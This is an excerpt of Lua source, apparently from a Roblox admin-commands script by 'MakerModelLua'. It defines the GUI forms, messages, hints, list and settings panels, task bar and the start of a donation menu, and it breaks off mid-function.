4110 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
4111
4112 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
4113 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
4114 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
4115 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
4116 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
4117
4118 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
4119
4120 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
4121
4122 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
4123 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
4124 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
4125 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
4126 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
4127 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
4128
4129 if Settings.EnableTaskBar then
4130 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
4131 else
4132 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
4133 Title.Size = UDim2.new(1, -95, 0, 25)
4134 end
4135
4136 if not ShowFormButtons then
4137 X:Destroy()
4138 TitleEnd:Destroy()
4139 Title.Size = UDim2.new(1, -55, 0, 25)
4140 end
4141
4142 local function CloseForm()
4143 if IsClosed == false then
4144 IsActive.Value = false
4145 IsClosed = true
4146 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
4147 Closed:Fire()
4148 SOUND:PlayNotification(Player, 206375138)
4149 end
4150 end
4151
4152 local function MinimizeForm()
4153 if IsActive.Value == true then
4154 IsActive.Value = false
4155 Minimized:Fire()
4156 MinimizePos = Dragger.Position
4157 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
4158 end
4159 end
4160
4161 local function RestoreForm()
4162 if IsActive.Value == false then
4163 IsActive.Value = true
4164 Restored:Fire()
4165 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
4166 end
4167 end
4168
4169 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
4170 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
4171
4172 Close.OnInvoke = CloseForm
4173 Minimize.OnInvoke = MinimizeForm
4174 Restore.OnInvoke = RestoreForm
4175
4176 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
4177
4178 if TaskBar then
4179 TaskBar:WaitForChild("AddForm")
4180 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
4181 end
4182
4183 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
4184end
4185
4186function GUI:CoreGui(Player, Type, Enable)
4187 local Parent = Player:FindFirstChild("Backpack")
4188 if not Parent then Parent = Player.Backpack end
4189 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4190end
4191
4192function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4193 if not Player or not Player:IsA("Player") then return nil end
4194 if BodyText == "" then return nil end
4195 if not Player:FindFirstChild("PlayerGui") then return nil end
4196
4197 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4198 local TextColor = GUI:GetColor(MessageSplit[1])
4199 if TextColor then BodyText = MessageSplit[2] end
4200 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4201
4202 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4203 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4204
4205 if Frame then
4206 local FormBar = Frame.Parent.Parent.FormBar
4207 local Said = false
4208 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4209 if Settings.EnableTaskBar then
4210 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4211 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4212 else
4213 Speak.Position = UDim2.new(1, -58, 0, 5)
4214 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4215 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4216 end
4217 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4218 if not Said then
4219 Said = true
4220 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4221 end
4222 end)
4223
4224 if TextColor then
4225 Body.TextColor3 = TextColor
4226 else
4227 Body.TextColor3 = Color3.new(1,1,1)
4228 end
4229
4230 if tonumber(Time) then coroutine.wrap(function()
4231 if AutoTime then
4232 Time = Time + math.floor(#BodyText/7)
4233 end
4234 local Alive = true
4235
4236 local function StopTimer() Alive = false end
4237 Closed.Event:connect(StopTimer)
4238 Minimized.Event:connect(StopTimer)
4239
4240 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4241 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4242 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4243 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4244 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4245 for i = Time,0,-1 do
4246 for ii = 1,10 do
4247 if Alive == true then
4248 Ticker.Text = i
4249 wait(0.1)
4250 else
4251 break
4252 end
4253 end
4254 end
4255 if Alive == true then
4256 Close:Invoke()
4257 else
4258 Ticker:Destroy()
4259 Stop:Destroy()
4260 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4261 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4262 end
4263 end)() end
4264
4265 CORE:ExecuteResource("CalculateScrollY", Body)
4266 end
4267end
4268
4269function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4270 if not Player then return nil end
4271 if not Player:IsA("Player") then return nil end
4272 if BodyText == "" then return nil end
4273 if not Player:FindFirstChild("PlayerGui") then return nil end
4274 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4275 local TextColor = GUI:ContrastColor()
4276 if Error then TextColor = Color3.new(1,0,0) end
4277
4278 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4279 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4280
4281 CORE:ExecuteResource("CalculateScrollY", Body)
4282
4283 return Frame, Close, Closed, Minimize, Minimized
4284end
4285
4286function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4287 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4288 local TweenTime = 0.5
4289 if not Time then Time = 5 end
4290 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4291 local MaxPos = -1
4292 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4293 local IVal = SGObj:FindFirstChild("Index")
4294 if IVal then
4295 MaxPos = math.max(MaxPos, IVal.Value)
4296 end
4297 end
4298 MaxPos = MaxPos + 1
4299 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4300 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4301 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4302 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4303 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4304 SG.Parent = Player.PlayerGui
4305
4306 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4307 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4308
4309 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4310 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4311 Delay(TweenTime, function()
4312 for i = 1,0,-0.1 do
4313 Body.TextTransparency = i
4314 wait()
4315 end
4316 Body.TextTransparency = 0
4317 end)
4318 Delay(TweenTime + Time, function()
4319 for i = 0,1,0.1 do
4320 Body.TextTransparency = i
4321 wait()
4322 end
4323 Body.TextTransparency = 1
4324 local Done = false
4325 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4326 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4327 end)
4328
4329end)() end
4330
4331function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4332 if not Player then return nil end
4333 if not Player:FindFirstChild("PlayerGui") then return nil end
4334 if not PreSearch then PreSearch = "" end
4335 if AutoNumber == nil then AutoNumber = true end
4336
4337 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4338 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4339 SearchBar.Parent = Frame.Parent
4340 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4341 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4342
4343 local SearchVer = 0,nil
4344 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4345 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4346 local InDialog = false
4347
4348 local function ShowResults(Key)
4349 SearchVer = SearchVer + 1
4350 local ThisSearchVer = SearchVer
4351
4352 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4353 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4354
4355 local NumPos,Num = 0,1
4356
4357 for _,Data in pairs(List) do
4358 if ThisSearchVer ~= SearchVer then
4359 break
4360 end
4361 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4362 if String then
4363 local ImageIcon = nil
4364 if type(Data) == "table" then
4365 String = Data[1]
4366 ImageIcon = Data[2]
4367 end
4368
4369 local TextColor = GUI:ContrastColor()
4370 local StringSplit = STRING:GetSplit(String, 1, " ")
4371 local NewColor = GUI:GetColor(StringSplit[1])
4372 if NewColor then TextColor = NewColor String = StringSplit[2] end
4373
4374 if string.find(string.lower(String), string.lower(Key)) then
4375 Spacer = false
4376 local Font = Settings.Font
4377 local Split = STRING:GetSplit(String, 1, " ")
4378 if string.sub(string.lower(String),1,6) == "bold: " then
4379 Font = "ArialBold"
4380 String = string.sub(String,7)
4381 elseif Fonts[Split[1]] then
4382 Font = Split[1]
4383 String = Split[2]
4384 end
4385 if string.sub(String,1,2) == "--" then
4386 Spacer = true
4387 end
4388 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4389 if ImageIcon then
4390 if tonumber(ImageIcon) then
4391 ImageIcon = "rbxassetid://"..ImageIcon
4392 elseif Icons[ImageIcon] then
4393 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4394 end
4395
4396 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4397 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4398 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4399 Content.Text = ""
4400 NumPos = NumPos + 90
4401 else
4402 NumPos = NumPos + 30
4403 end
4404
4405 if not Clickable then
4406 Content.AutoButtonColor = false
4407 Content.Active = false
4408 Content.BackgroundTransparency = 1
4409 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4410 SOUND:BindButton(Content)
4411 CORE:HandleEvent(Content, "MouseButton1Down", function()
4412 if not InDialog then
4413 Clicked:Fire(String)
4414 end
4415 end, true)
4416 end
4417 if Spacer == false then Num = Num + 1 end
4418 end
4419 end
4420 end
4421 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4422 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4423 end
4424
4425 RequestDialog.OnInvoke = function(RequestDialogCall)
4426 InDialog = RequestDialogCall
4427 end
4428
4429 ShowResults(PreSearch)
4430
4431 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4432 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4433 if Prop == "Text" then
4434 local Text = CORE:ReadProperty(RPR, Player, "Text")
4435 ShowResults(Text)
4436 Frame.CanvasPosition = Vector2.new(0,0)
4437 end
4438 end)
4439
4440 return Clicked, RequestDialog, Close
4441end
4442
4443function GUI:PropertyGui(Player, Title, Icon, Properties)
4444 if not Player then return nil end
4445 if not Player:FindFirstChild("PlayerGui") then return nil end
4446 if type(Properties) ~= "table" then return nil end
4447 local HasClosed = false
4448 local NewProperties = {}
4449
4450 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4451 Frame.ClipsDescendants = true
4452 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4453
4454 for PropertyName,Data in pairs(Properties) do
4455 NewProperties[PropertyName] = Data[1]
4456 end
4457
4458 local YCount = 0
4459
4460 for PropertyName,Data in pairs(Properties) do
4461 if type(Data) == "table" then
4462 local DefaultValue = Data[1]
4463 local Writable = Data[2]
4464 local ValueType = Data[3]
4465
4466 if Writable == nil then Writable = false end
4467 if type(ValueType) == "string" then -- now this is confusing
4468 ValueType = string.lower(ValueType)
4469 elseif ValueType == nil then
4470 ValueType = type(DefaultValue)
4471 end
4472
4473 if ValueType == "nil" or ValueType == "userdata" then
4474 ValueType = nil
4475 elseif ValueType == "table" then
4476 DefaultValue = STRING:UnpackArgs(DefaultValue)
4477 ValueType = "string"
4478 end
4479
4480 if ValueType then
4481 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4482 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4483 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4484
4485 if ValueType == "string" or ValueType == "number" then
4486 if Writable == true then
4487 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4488 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4489 if ValueType == "number" then
4490 NewProperties[PropertyName] = tonumber(Input.Text)
4491 else
4492 NewProperties[PropertyName] = tostring(Input.Text)
4493 end
4494 end end)
4495 else
4496 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4497 end
4498 end
4499 if ValueType == "boolean" then
4500 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4501 if DefaultValue == true then
4502 Check.Image = "rbxassetid://48138491"
4503 end
4504 if Writable == true then
4505 CORE:HandleEvent(Check, "MouseButton1Down", function()
4506 local NewVal = not NewProperties[PropertyName]
4507 NewProperties[PropertyName] = NewVal
4508 if NewVal == true then
4509 Check.Image = "rbxassetid://48138491"
4510 else
4511 Check.Image = "rbxassetid://48138474"
4512 end
4513 end)
4514 else
4515 Check.ImageTransparency = 0.5
4516 end
4517 end
4518 YCount = YCount + 50
4519 end
4520 end
4521 end
4522
4523 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4524
4525 Closed.Event:connect(function() HasClosed = true end)
4526
4527 repeat wait(0.1) until HasClosed
4528 return NewProperties
4529end
4530
4531function GUI:SettingsGui(Player)
4532 if not Player then return nil end
4533 local CloneViewSettings,CanChange = {},false
4534
4535 local ViewSettings = {
4536 ["Version"] = {CORE.Version.Value, false, nil};
4537 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4538 ["Font"] = {Settings.Font, 3, "Font"};
4539 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4540 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4541 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4542 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4543 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4544 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4545 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4546 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4547 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4548 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4549 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4550 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4551 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4552 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4553 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4554 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4555 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4556 ["Bet"] = {Settings.Bet, 3, "Bet"};
4557 }
4558
4559 local _,RankNum = RANK:GetRank(Player)
4560 if RankNum >= 3 then
4561 CanChange = true
4562 end
4563
4564 for Prop,Data in pairs(ViewSettings) do
4565 local Writable = false
4566 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4567 CloneViewSettings[Prop] = {Data[1], Writable}
4568 end
4569
4570 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4571 if CanChange then
4572 for Prop,Data in pairs(ViewSettings) do
4573 if Data[3] then
4574 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4575 end
4576 end
4577 CORE:FixSettings()
4578 end
4579end
4580
4581function GUI:MessageAdmins(TitleText, BodyText, Icon)
4582 for _,Player in pairs(Server.Players:GetPlayers()) do
4583 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4584 if PlayerAdmin then
4585 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4586 end
4587 end
4588end
4589
4590function GUI:TellAdmin(Player)
4591 if not Player then return end
4592
4593 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4594 if ValidAdmin == true then
4595 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4596 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4597 local SoundID = 237866523
4598 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4599 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4600 Sound:Play()
4601 coroutine.wrap(function()
4602 wait(4)
4603 Sound:Stop()
4604 Sound:Destroy()
4605 end)()
4606 end
4607 end
4608end
4609
4610function GUI:TellNotAdmin(Player)
4611 if not Player then return end
4612
4613 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4614end
4615
4616function GUI:CreateTaskBar(Player)
4617 if not Player then return nil end
4618 if Settings.EnableTaskBar == false then return nil end
4619 Player:WaitForChild("PlayerGui")
4620 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4621 if SG then SG:Destroy() end
4622 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4623 local IsMoving = false
4624 local TaskBarShown = false
4625 local Tasks = {}
4626
4627 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4628 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4629
4630 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4631 local Open,CloseForm = false,nil
4632 if Settings.EnableAdminMenu then
4633 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4634 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4635 if Open == false then
4636 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4637 Open,CloseForm = true,Close
4638
4639 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4640 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4641 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4642 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4643 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4644 local function DonateMoney(Type, Element)
4645 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4646 local Get = Request[Type]
4647 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
